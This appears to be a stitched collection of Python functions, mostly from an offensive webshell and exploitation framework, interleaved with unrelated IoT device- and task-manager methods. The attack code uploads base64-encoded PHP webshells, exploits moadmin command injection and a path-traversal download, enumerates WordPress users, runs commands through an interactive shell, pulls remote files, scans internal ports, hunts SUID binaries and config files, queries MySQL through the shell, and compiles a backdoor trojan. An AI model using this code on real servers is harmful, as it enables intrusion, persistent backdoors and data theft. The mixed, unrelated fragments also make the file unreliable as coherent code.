def exploit(self): remote_host = self.get_config("remote_host") remote_port = int(self.get_config("remote_port")) password = self.get_config("shell_pwd") webshell = self.get_config("webshell").replace("__PASSWORD__", password) url = "http://%s:%d/index.php?s=/Core/File/uploadPictureBase64.html" % ( remote_host, remote_port) data = { 'data': 'data:image/php;base64,%s' % (webshell.encode("base64").replace("\n", "")) } Log.info("Data: %s" % (data)) response = requests.post(url, data=data) content = response.content if content.startswith("{\"status\":") and content.endswith(".php\"}"): Log.success("Exploit successfully!") Log.success(success_json) success_json = json.loads(content) self.webshell_url = success_json['path'].replace("\\/", "/") if self.get_config(interactive) == True: self.interactive() return True Log.error("Exploit failed!") return False
def check_working(self, url, method, auth): Log.info("Checking whether the webshell is still work...") key = random_string(6, string.letters) value = random_string(32, string.letters) token = random_string(32, string.letters) Log.info("Using challenge key : [%s] , value : [%s]" % (key, value)) Log.info("Using token : [%s]" % (token)) method = string.upper(method) if method == "POST" or method == "REQUEST": Log.info("Using POST method...") data = { auth: 'echo "' + token + '";var_dump("$_POST[' + key + ']");echo "' + token + '";', key: value } response = requests.post(url, data=data) elif method == "GET": Log.info("Using GET method...") params = { auth: 'echo "' + token + '";var_dump("$_POST[' + key + ']");echo "' + token + '";' } url = build_url(url, params) data = {key: value} response = requests.post(url, data=data) else: Log.error("Unsupported method!") return False content = response.content Log.success("The content is :\n " + content) return value in content
def end_task(self, task_id) -> Response: try: self.taskManager.remove_task(task_id) return Response(True, None) except IdError as e: Log.error(e) return Response(False, None, e)
def auto_inject_phpfile(self, filename, webshell_content): Log.info("Auto injecting : [%s] => [%s]" % (filename, repr(webshell_content))) Log.info("Code : [%s]" % (repr(webshell_content))) Log.info("Length : [%d]" % (len(webshell_content))) Log.info("Getting writable dirs...") writable_dirs = self.get_writable_directory() if len(writable_dirs) == 0: Log.error("No writable dirs...") return False else: for writable_dir in writable_dirs: Log.info("Writing [%s] into : [%s]" % (repr(webshell_content), writable_dir)) php_code = "file_put_contents('%s',base64_decode('%s'));" % ( "%s/%s" % (writable_dir, filename), webshell_content.encode("base64").replace("\n", "")) self.php_code_exec(php_code) base_url = "%s%s" % ("".join([ "%s/" % (i) for i in self.url.split("/")[0:3] ]), writable_dir.replace("%s" % (self.webroot), "")) webshell_url = "%s/%s" % (base_url, filename) with open("Webshell.txt", "a+") as f: log_content = "%s => %s\n" % (webshell_url, repr(webshell_content)) f.write(log_content) return webshell_url
def exploit(self): ''' 漏洞利用的核心代码, 在此函数中完成漏洞利用 ''' Log.info("Lauching the exploition...") host = self.get_config("remote_host") port = self.get_config("remote_port") path = self.get_config("path") command = self.get_config("command") url = "http://%s:%d/%s/moadmin.php?collection=1" % (host, port, path) data = { "object": "1;system(base64_decode('%s'));die();" % (command.encode("base64").replace("\n", "")) } Log.info("Url: %s" % (url)) Log.info("Data: %s" % (data)) try: response = requests.post(url, data=data) if response.status_code == 200: Log.success("Exploit success!") print "%s" % (color.blue(response.content)) return True else: return False except Exception as e: Log.error(str(e)) return False
def php_command_exec(self, function, command): try: tick = random_string(3, string.letters) token = random_string(32, string.letters) if self.method == "POST": data = { self.password: "******" + token + "';" + function + "($_POST[" + tick + "]);echo '" + token + "';", tick: command + " 2>&1" } response = requests.post(self.url, data=data) elif self.method == "GET": params = { self.password: "******" + token + "';" + function + "($_GET[" + tick + "]);echo '" + token + "';", tick: command + " 2>&1" } response = requests.get(self.url, params=params) else: return (False, "Unsupported method!") content = response.text if token in content: return (True, content.split(token)[1]) else: return (False, content) except Exception as e: Log.error(e) return (False, e)
def download_advanced(self, path, args): root = get_domain(self.url) # List all dir and create them directories = self.get_all_directories(path) Log.success("Directories : \n%s" % list2string(directories, "\t[", "]\n")) Log.info("Create directories locally...") for d in directories: p = root + d Log.info("Creating : [%s]" % (p)) try: os.makedirs(p) except Exception as e: Log.error(str(e)) # Download Log.info("Listing all files...") result = self.auto_exec("find %s %s" % (path, args)) if result[0]: Log.success("Listing files success!") content = result[1].split("\n")[0:-1] for file in content: p = root + file Log.info("Downloading %s to %s" % (file, p)) self.download_base(file, p) else: Log.error("Listing files error!")
def download_base(self, path, local_path): Log.info("Ready to downloading file : %s" % path) Log.info("Detacting local file exists...") exists = os.path.exists(local_path) if exists: Log.info("Checking remote file (%s) hash..." % (path)) remote_hash = self.hash_remote_file(path) Log.info("Find md5 of remote file (%s) : %s" % (path, remote_hash)) Log.info("Checking local file (%s) hash..." % (local_path)) local_hash = hash_file(local_path) Log.info("Find md5 of local file (%s) : %s" % (local_path, local_hash)) if remote_hash == local_hash: Log.warning("File haved downloaded! Ignored!") return else: Log.warning("File updated, downloading new version...") else: Log.error("Local file not exists...") result = self.php_code_exec_token( 'echo base64_encode(file_get_contents("%s"));' % (path)) if result[0]: Log.success("Fetch data success! Start saving...") content = result[1] with open(local_path, "wb") as f: Log.info("Saving...") f.write(content.decode("base64")) Log.info("Download finished!") else: Log.error("Fetch data failed!")
def read_file(self, filepath): Log.info("Reading file : [%s] ..." % (filepath)) result = self.php_code_exec_token("echo file_get_contents('%s');" % filepath) if result[0]: Log.success("Content : \n%s" % (result[1])) else: Log.error("Error occured! %s" % result[1])
def exploit(self): ''' 漏洞利用的核心代码, 在此函数中完成漏洞利用 ''' Log.info("Lauching the exploition...") host = self.get_config("remote_host") port = int(self.get_config("remote_port")) url = "http://%s:%d/wp-json/wp/v2/users/" % (host, port) try: response = requests.get(url) if response.status_code == 200: Log.success("Exploit success!") content = response.content print "%s" % (color.cyan("ID\tUser\t\tDescription")) for user in json.loads(content)[::-1]: username = user["name"] if len(username) > 8: print "%s\t%s\t%s" % (user["id"], user["name"], user["description"]) else: print "%s\t%s\t\t%s" % (user["id"], user["name"], user["description"]) return True else: Log.error("Exploit Failed!") return False except Exception as e: Log.error(str(e)) return False
def interactive(self): ''' 在成功拿到 WebShell 之后, 可以利用该函数获得一个伪终端 这里判断了 webshell_url 这个变量是否为空 因此, 在拿到 webshell 地址后, 需要将 webshell_url 进行设置 ''' if self.webshell_url == "": Log.error("Webshell is dead!") return while True: command = raw_input("$ ") if command == "exit": break data = { self.get_config("shell_pwd"): "system(base64_decode('%s'));die();" % (command.encode("base64").replace("\n", "")) } print data try: Log.success( self.session.post(self.webshell_url, data=data).content) except Exception as e: Log.error(str(e)) return False
def exploit(self): ''' 漏洞利用的核心代码, 在此函数中完成漏洞利用 ''' host = self.get_config("remote_host") port = self.get_config("remote_port") file = self.get_config("file") if not self.login(): Log.error("Login failed!") return False Log.success("Login successful!") url = "http://%s:%d/components/filemanager/download.php?path=../../../../..%s&type=undefined" % ( host, port, file) try: response = self.session.get(url) if response.status_code == 200: Log.success("Exploit success!") Log.info(">>>>>> %s <<<<<<" % (file)) print("%s" % color.blue(response.content)) return True else: return False except Exception as e: Log.error(str(e)) return False
def hash_remote_file(self, path): result = self.php_code_exec_token("echo md5(file_get_contents('%s'));" % (path)) if result[0]: content = result[1] return content else: Log.error("Some error occured when exec php code...") return ""
def auto_exec_print(self, command): result = self.auto_exec(command) if result[0]: Log.success("Result : \n%s" % (repr(result[1][0:-1])).replace("\\n", "\n")[2:-1]) else: Log.error("Error occured! %s" % (repr(result[1][0:-1])).replace("\\n", "\n")[2:-1])
def port_scan(self, hosts, ports): Log.info("Starting port scan... %s => [%s]" % (hosts, ports)) code = "set_time_limit(0);error_reporting(0);$ports_input='%s';$hosts_input='%s';$timeout=0.5;$ports=explode(',', $ports_input);$hosts_array=explode('/', $hosts_input);$ip=ip2long($hosts_array[0]);$net_mask=intval($hosts_array[1]);$range=pow(2, (32 - $net_mask));$start=$ip >> (32 - $net_mask) << (32 - $net_mask);for ($i=0;$i < $range;$i++) {$h=long2ip($start + $i);foreach ($ports as $p) {$c=@fsockopen($h, intval($p), $en, $es, $timeout);if (is_resource($c)) {echo $h.':'.$p.' => open\n';fclose($c);} else {echo $h.':'.$p.' => '.$es.'\n';}ob_flush();flush();}}" % (ports, hosts) Log.info("Executing : \n%s" % code) result = self.php_code_exec_token(code) if result[0]: Log.success("Result : \n%s" % (result[1])) else: Log.error("Error occured! %s" % result[1])
def register_task(self, config) -> Response: try: validate_attributes(['task_id', 'task_class', 'task_type'], config, 'Task') task = self.taskManager.create_task(config) task.start() return Response(True, None) except (IdError, TypeError, AttributeError) as e: Log.error(e) return Response(False, None, e)
def set_config(self, key, value): ''' 对模块的参数进行修改 由 set 命令触发 通常不需要改动 ''' if key in self.config.keys(): self.config[key]["default"] = value else: Log.error("No such option!")
def get_writable_directory(self): command = "find %s -type d -writable" % (self.webroot) output = self.auto_exec(command) if output[0]: if output[1] == "": Log.warning("Nothing found!") else: Log.success("Found : \n%s" % output[1]) else: Log.error("Error occured! %s" % output[1])
def compile_trojan(tname,ip): Log.info("Compiling trojan...") try: if not os.system("cd trojan;sed -i 's/XXXXXXX/%s/g' backdoor.c ;gcc -o %s backdoor.c -lpthread -g" % (ip ,tname)): return True else: return False except: Log.error(traceback.print_exc()) return False
def sql_exec(self, sql): # TODO 数据显示不完整的 BUG code = "error_reporting(0);$h='%s';$u='%s';$p='%s';$c=new Mysqli($h,$u,$p);$s='%s';$r=$c->query($s);while($d=$r->fetch_array(MYSQLI_NUM)){echo $d[0].',';}$c->close();" % ( self.ip, self.username, self.password, sql) Log.info("Executing : \n%s" % code) result = self.webshell.php_code_exec_token(code) if result[0]: content = result[1] Log.success(content.split(",")[0]) else: Log.error("Error occured!")
def get_columns_from_table(self, tablename, database): code = "error_reporting(0);$h='%s';$u='%s';$p='%s';$c=new Mysqli($h,$u,$p);$c->select_db('%s');$s='select column_name from information_schema.columns where table_name = \"%s\"';$r=$c->query($s); while($d=$r->fetch_array(MYSQLI_NUM)){echo $d[0].',';}$c->close();" % ( self.ip, self.username, self.password, database, tablename) Log.info("Executing : \n%s" % code) result = self.webshell.php_code_exec_token(code) if result[0]: content = result[1] columns = content.split(",")[0:-1] Log.success("Columns : \n" + list2string(columns, "=> [", "]\n")) else: Log.error("Error occured!")
def get_php_version(self): if self.php_version != "": Log.success("PHP Version : \n\t%s" % (self.php_version)) return self.php_version result = self.auto_exec("php -v") if result[0]: Log.success("PHP Version : \n\t%s" % (result[1][0:-1])) return result[1][0:-1] else: Log.error("Error occured while getting php version! %s" % result[1]) return ""
def set_config(self, key, value): ''' 对模块的参数进行修改 由 set 命令触发 通常不需要改动 ''' if key in self.config.keys(): self.config[key]["default"] = value Log.success("%s\t==>\t%s" % (key, value)) else: Log.error("No such option: %s" % (key))
def get_kernel_version(self): if self.kernel_version != "": Log.success("Kernel Version : \n\t%s" % (self.kernel_version)) return self.kernel_version result = self.auto_exec("uname -a") if result[0]: Log.success("Kernel Version : \n\t%s" % (result[1][0:-1])) return result[1][0:-1] else: Log.error("Error occured while getting kernel version! %s" % result[1]) return ""
def download(self, remote_file_path, local_file_path): root = get_domain(self.url) path = root + local_file_path Log.info("Local path : [%s]" % (path)) local_directory = path[0:-path[::-1].index("/")] Log.info("Creating : [%s]" % (local_directory)) try: os.makedirs(local_directory) except Exception as e: Log.error(str(e)) self.download_base(remote_file_path, path)
def get_latest_data(self, config) -> Response: try: validate_attributes(['device_id', 'type'], config, 'GetData') device_id = config.get('device_id') data_type = config.get('type') # (events/values) return Response( True, self.dataManager.get_latest_data(device_id, data_type)) except (IdError, AttributeError) as e: Log.error(e) return Response(False, None, e)
def register_device(self, config: dict) -> Response: try: validate_attributes( ['device_id', 'device_class', 'device_type', 'address'], config, 'Device') device = self.deviceManager.new_device(config) self.dataManager.save_device(device) except (IdError, ModuleNotFoundError, AttributeError) as e: Log.error(e) return Response(False, None, e) return Response(device is not None, None)
def get_suid_binaries(self): paths = ['/usr/local/sbin', '/usr/local/bin', '/usr/sbin', '/usr/bin', '/sbin', '/bin', '/usr/games', '/usr/local/games', '/snap/bin'] for path in paths: command = "find %s -user root -perm -4000 -exec ls -ldb {} \;" % (path) Log.info("Executing : %s" % (command)) output = self.auto_exec(command) if output[0]: if output[1] == "": Log.warning("Nothing found!") else: Log.success("Found : \n%s" % output[1]) else: Log.error("Error occured! %s" % output[1])
def get_config_file(self): keywords = ["config", "db", "database"] for key in keywords: Log.info("Using keyword : [%s]..." % (key)) command = "find %s -name '*%s*'" % (self.webroot, key) output = self.auto_exec(command) if output[0]: if output[1] == "": Log.warning("Nothing found!") else: Log.success("Found : \n%s" % output[1]) else: Log.error("Error occured! %s" % output[1])
def end_device(self, device_id: str) -> Response: try: self.deviceManager.remove_device(device_id) # TEMPORAL HACK !!! self.dataManager.update_experiment(device_id) return Response(True, None) except AttributeError: exc = IdError('Connector with given ID: %s was not found' % device_id) Log.error(exc) return Response(False, None, exc)